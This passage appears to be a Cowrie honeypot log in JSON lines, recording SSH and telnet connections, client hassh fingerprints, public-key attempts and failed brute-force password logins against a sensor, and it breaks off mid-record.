{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:39.853249Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:f3:cd:71:5f:80:5b:d2:3c:33:50:2c:cd:5b:42:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApfxaTkEEeF3p3TVpJi+XaBs8lpGuxnrBJXV6HAOh2qmJrJh2SfLZ+5M08iugdGR31/rZ84OYhAZ7pWwvdMUdTJuqcI+h48L97uyP4NXZI1Rj2fQk2STTNpn8jW8+6b40hwgiJmbFKBPZuXnhJ8r3JB0PjSGChlwfX+1dG/t+vsZ49vfpid35Om2rXKyXRCegXXE3EN74BpSmeW/QG6rs/U+8/TfaTLnn0dlU6vXgL0VMyoaOTSWmaLhIth6LPxf8nd5zuRGtTHV77JXMF5TXxPN39tcduZ8aPK/EhAtwHbVQRgbnxO0Pu4+yQW87xXdhd2PQssj0JLrIHkukSLzVow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:f3:cd:71:5f:80:5b:d2:3c:33:50:2c:cd:5b:42:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:40.173804Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:f3:cd:71:5f:80:5b:d2:3c:33:50:2c:cd:5b:42:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApfxaTkEEeF3p3TVpJi+XaBs8lpGuxnrBJXV6HAOh2qmJrJh2SfLZ+5M08iugdGR31/rZ84OYhAZ7pWwvdMUdTJuqcI+h48L97uyP4NXZI1Rj2fQk2STTNpn8jW8+6b40hwgiJmbFKBPZuXnhJ8r3JB0PjSGChlwfX+1dG/t+vsZ49vfpid35Om2rXKyXRCegXXE3EN74BpSmeW/QG6rs/U+8/TfaTLnn0dlU6vXgL0VMyoaOTSWmaLhIth6LPxf8nd5zuRGtTHV77JXMF5TXxPN39tcduZ8aPK/EhAtwHbVQRgbnxO0Pu4+yQW87xXdhd2PQssj0JLrIHkukSLzVow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:40.176433Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:c5:cc:4a:29:3d:c9:6b:14:93:7c:d9:e4:59:94:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCncNofqcOC4PivDyVdxcmcGoWCUIASiVg9Rlj4K5EuITa/hYZE3AuYa4iRxtGmhDWKhtrSxt0mIe4B7YMiGbzQsFDV9VEE+P/Xb8NqBW5+sEEphlNWEPyjFPaApD9GfM4Xnj6QqdxYLlNo7AUNh/weQoK45DweBmCm3ywcW5+XUUoV+YlgmGAh0g0zumM4rJUjTwunJNllec8tgamhDsgoDJtj4Oww7tqbgqPMhRBG3c43UcWIBDrLBfImYy3C9IXQBpJ2/drIJaj2YQ3LcDcuQYvgNc4QOZe0thNl5Pd/vkPcKZdlFmDbrT6uVAAS4nehHZpOpYojYmTPcsEztNG3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:c5:cc:4a:29:3d:c9:6b:14:93:7c:d9:e4:59:94:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:40.244316Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:c5:cc:4a:29:3d:c9:6b:14:93:7c:d9:e4:59:94:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCncNofqcOC4PivDyVdxcmcGoWCUIASiVg9Rlj4K5EuITa/hYZE3AuYa4iRxtGmhDWKhtrSxt0mIe4B7YMiGbzQsFDV9VEE+P/Xb8NqBW5+sEEphlNWEPyjFPaApD9GfM4Xnj6QqdxYLlNo7AUNh/weQoK45DweBmCm3ywcW5+XUUoV+YlgmGAh0g0zumM4rJUjTwunJNllec8tgamhDsgoDJtj4Oww7tqbgqPMhRBG3c43UcWIBDrLBfImYy3C9IXQBpJ2/drIJaj2YQ3LcDcuQYvgNc4QOZe0thNl5Pd/vkPcKZdlFmDbrT6uVAAS4nehHZpOpYojYmTPcsEztNG3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:40.247034Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:eb:ed:2e:da:04:bc:d0:be:a7:6a:c4:83:b0:57:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXjcg1o6HwQ7dgYg8SKKZIc9N7YqxDof1lh57vLJ5KfNAJ3YXVwEgXf7EI7yS5AD4ybxixe8PIzI69ql5qa1ciYul6eq5LmdpjNIHYrb73Rqiv+ki98XMcLqFoM09cUULnNrEg+7+QLhzBjoRF1EsMfE5dJwx4k4gGpXoAUKUhJfIbdDB5e8N6A8Epn2b6192fxohWMMAo+1rmCNP4XULXB0LzkDskY9TpfOKKIrwbHc32zKoWJC1jJjqV+jbjZ2My9Hfk5Ww888Zwy3EiviFQT2plLCUamLRgXz4L3ZfBglJLScCXEJ4U5uWxjRAjdgrfi1rsrZ8nYYw9k2eViFv7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:eb:ed:2e:da:04:bc:d0:be:a7:6a:c4:83:b0:57:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:40.320045Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:eb:ed:2e:da:04:bc:d0:be:a7:6a:c4:83:b0:57:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXjcg1o6HwQ7dgYg8SKKZIc9N7YqxDof1lh57vLJ5KfNAJ3YXVwEgXf7EI7yS5AD4ybxixe8PIzI69ql5qa1ciYul6eq5LmdpjNIHYrb73Rqiv+ki98XMcLqFoM09cUULnNrEg+7+QLhzBjoRF1EsMfE5dJwx4k4gGpXoAUKUhJfIbdDB5e8N6A8Epn2b6192fxohWMMAo+1rmCNP4XULXB0LzkDskY9TpfOKKIrwbHc32zKoWJC1jJjqV+jbjZ2My9Hfk5Ww888Zwy3EiviFQT2plLCUamLRgXz4L3ZfBglJLScCXEJ4U5uWxjRAjdgrfi1rsrZ8nYYw9k2eViFv7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:40.322857Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:71:96:45:89:86:80:14:2a:bf:ac:30:4d:c0:db:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtf36ri0L4JDmO3LN9TJeseRU7JGA3v9qMTEtnY4PWn2BZAWF4Z0r2PWUJ2jfaHfssvd7zvGJF2HVaM0jAdH/TQJ847M0gRntuKvav/dK7UjvMDEkNQMccFxFR4i36/4fDEiqfOEnV0XuIDjv/hqCKxMLJOiUCgqKIGA3O1VN7gkhQXfHmx2pfYKhw8YCZe0bnB8FmTkMz04As8OUWwkzMZpO+93vew76y9mvI+E0Uwt1eP56TSdn4+3K0tg9fLEBQs1FWlyDQzcvysHZWm0iIllRy9kCtpvU/UtFIJmK7X/sZlx3WFHOhdpQ0hw0wA34xxc+/kXMAPb8n/t5NiX97Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:71:96:45:89:86:80:14:2a:bf:ac:30:4d:c0:db:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:40.391101Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:71:96:45:89:86:80:14:2a:bf:ac:30:4d:c0:db:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtf36ri0L4JDmO3LN9TJeseRU7JGA3v9qMTEtnY4PWn2BZAWF4Z0r2PWUJ2jfaHfssvd7zvGJF2HVaM0jAdH/TQJ847M0gRntuKvav/dK7UjvMDEkNQMccFxFR4i36/4fDEiqfOEnV0XuIDjv/hqCKxMLJOiUCgqKIGA3O1VN7gkhQXfHmx2pfYKhw8YCZe0bnB8FmTkMz04As8OUWwkzMZpO+93vew76y9mvI+E0Uwt1eP56TSdn4+3K0tg9fLEBQs1FWlyDQzcvysHZWm0iIllRy9kCtpvU/UtFIJmK7X/sZlx3WFHOhdpQ0hw0wA34xxc+/kXMAPb8n/t5NiX97Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:40.393950Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:02:b2:90:c5:77:73:36:96:92:84:11:6b:d9:72:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8w7idx1IKcNhFmbjF28+f8ebh1i0jF5HKP1PtxQf1dOOEkN0g+fG6OW3zgWzXCyqtyBSdYtoGUqjy+QJ/NN3KuUjlJN4baJKqnXHSTyT7SpACc8FkIeuuoTczY1zdTED/sv0SqRw7zeIBbqedTk/om33b5KQCxoMvpc6fk3expmbiw2X3p3FIE0r6xHA6u1ekMOJf5dh+jkdb5ulpDPPjHOoin4i+YLcS1Tim/+tZHLDa9xUSijwbrFWLuTdmwLnMQD41M0tETJbPrChIciLSnf6mAMDGlWgnKqifvgoM/mQZmJ2k5MOMEtImCT1PPu4lPEqZHCFRQHa2abfcnZiR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:02:b2:90:c5:77:73:36:96:92:84:11:6b:d9:72:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:40.462297Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:02:b2:90:c5:77:73:36:96:92:84:11:6b:d9:72:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8w7idx1IKcNhFmbjF28+f8ebh1i0jF5HKP1PtxQf1dOOEkN0g+fG6OW3zgWzXCyqtyBSdYtoGUqjy+QJ/NN3KuUjlJN4baJKqnXHSTyT7SpACc8FkIeuuoTczY1zdTED/sv0SqRw7zeIBbqedTk/om33b5KQCxoMvpc6fk3expmbiw2X3p3FIE0r6xHA6u1ekMOJf5dh+jkdb5ulpDPPjHOoin4i+YLcS1Tim/+tZHLDa9xUSijwbrFWLuTdmwLnMQD41M0tETJbPrChIciLSnf6mAMDGlWgnKqifvgoM/mQZmJ2k5MOMEtImCT1PPu4lPEqZHCFRQHa2abfcnZiR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:40.464849Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:40.533757Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:40.821796Z","src_ip":"45.143.200.246","session":"90ef717ac702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34032,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2911592c59d","protocol":"telnet","message":"New connection: 170.64.224.25:34032 (159.203.135.109:23) [session: b2911592c59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:49.735808Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:58.737250Z","src_ip":"8.210.75.243","session":"472823687c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.39.204.145","src_port":57634,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a7ab714e07f","protocol":"ssh","message":"New connection: 185.39.204.145:57634 (159.203.135.109:22) [session: 3a7ab714e07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:01.813315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:01.822429Z","src_ip":"185.39.204.145","session":"3a7ab714e07f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:01.942673Z","src_ip":"185.39.204.145","session":"3a7ab714e07f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:02.454887Z","src_ip":"185.39.204.145","session":"3a7ab714e07f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:03.576571Z","src_ip":"185.39.204.145","session":"3a7ab714e07f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":60196,"dst_ip":"10.17.0.5","dst_port":22,"session":"22ea52e3c0b9","protocol":"ssh","message":"New connection: 91.92.40.4:60196 (10.17.0.5:22) [session: 22ea52e3c0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:12.015541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:12.019686Z","src_ip":"91.92.40.4","session":"22ea52e3c0b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:12.100399Z","src_ip":"91.92.40.4","session":"22ea52e3c0b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"passwd","message":"login attempt [git/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:12.344923Z","src_ip":"91.92.40.4","session":"22ea52e3c0b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:13.428200Z","src_ip":"91.92.40.4","session":"22ea52e3c0b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":38904,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0114576b5dd","protocol":"ssh","message":"New connection: 190.244.39.224:38904 (159.203.135.109:22) [session: b0114576b5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:25.832505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:25.839187Z","src_ip":"190.244.39.224","session":"b0114576b5dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:26.014715Z","src_ip":"190.244.39.224","session":"b0114576b5dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7849516230","message":"login attempt [root/7849516230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:26.750678Z","src_ip":"190.244.39.224","session":"b0114576b5dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56766,"dst_ip":"10.17.0.5","dst_port":22,"session":"60a3171fc725","protocol":"ssh","message":"New connection: 8.210.75.243:56766 (10.17.0.5:22) [session: 60a3171fc725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:27.354625Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:27.928593Z","src_ip":"190.244.39.224","session":"b0114576b5dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.93653655052185,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:35.672241Z","src_ip":"170.64.224.25","session":"b2911592c59d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:44.790317Z","src_ip":"8.210.75.243","session":"83aac5b7dd93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":58698,"dst_ip":"159.203.135.109","dst_port":22,"session":"951c42bc307b","protocol":"ssh","message":"New connection: 159.65.58.200:58698 (159.203.135.109:22) [session: 951c42bc307b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:44.891932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:45.098573Z","src_ip":"159.65.58.200","session":"951c42bc307b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-s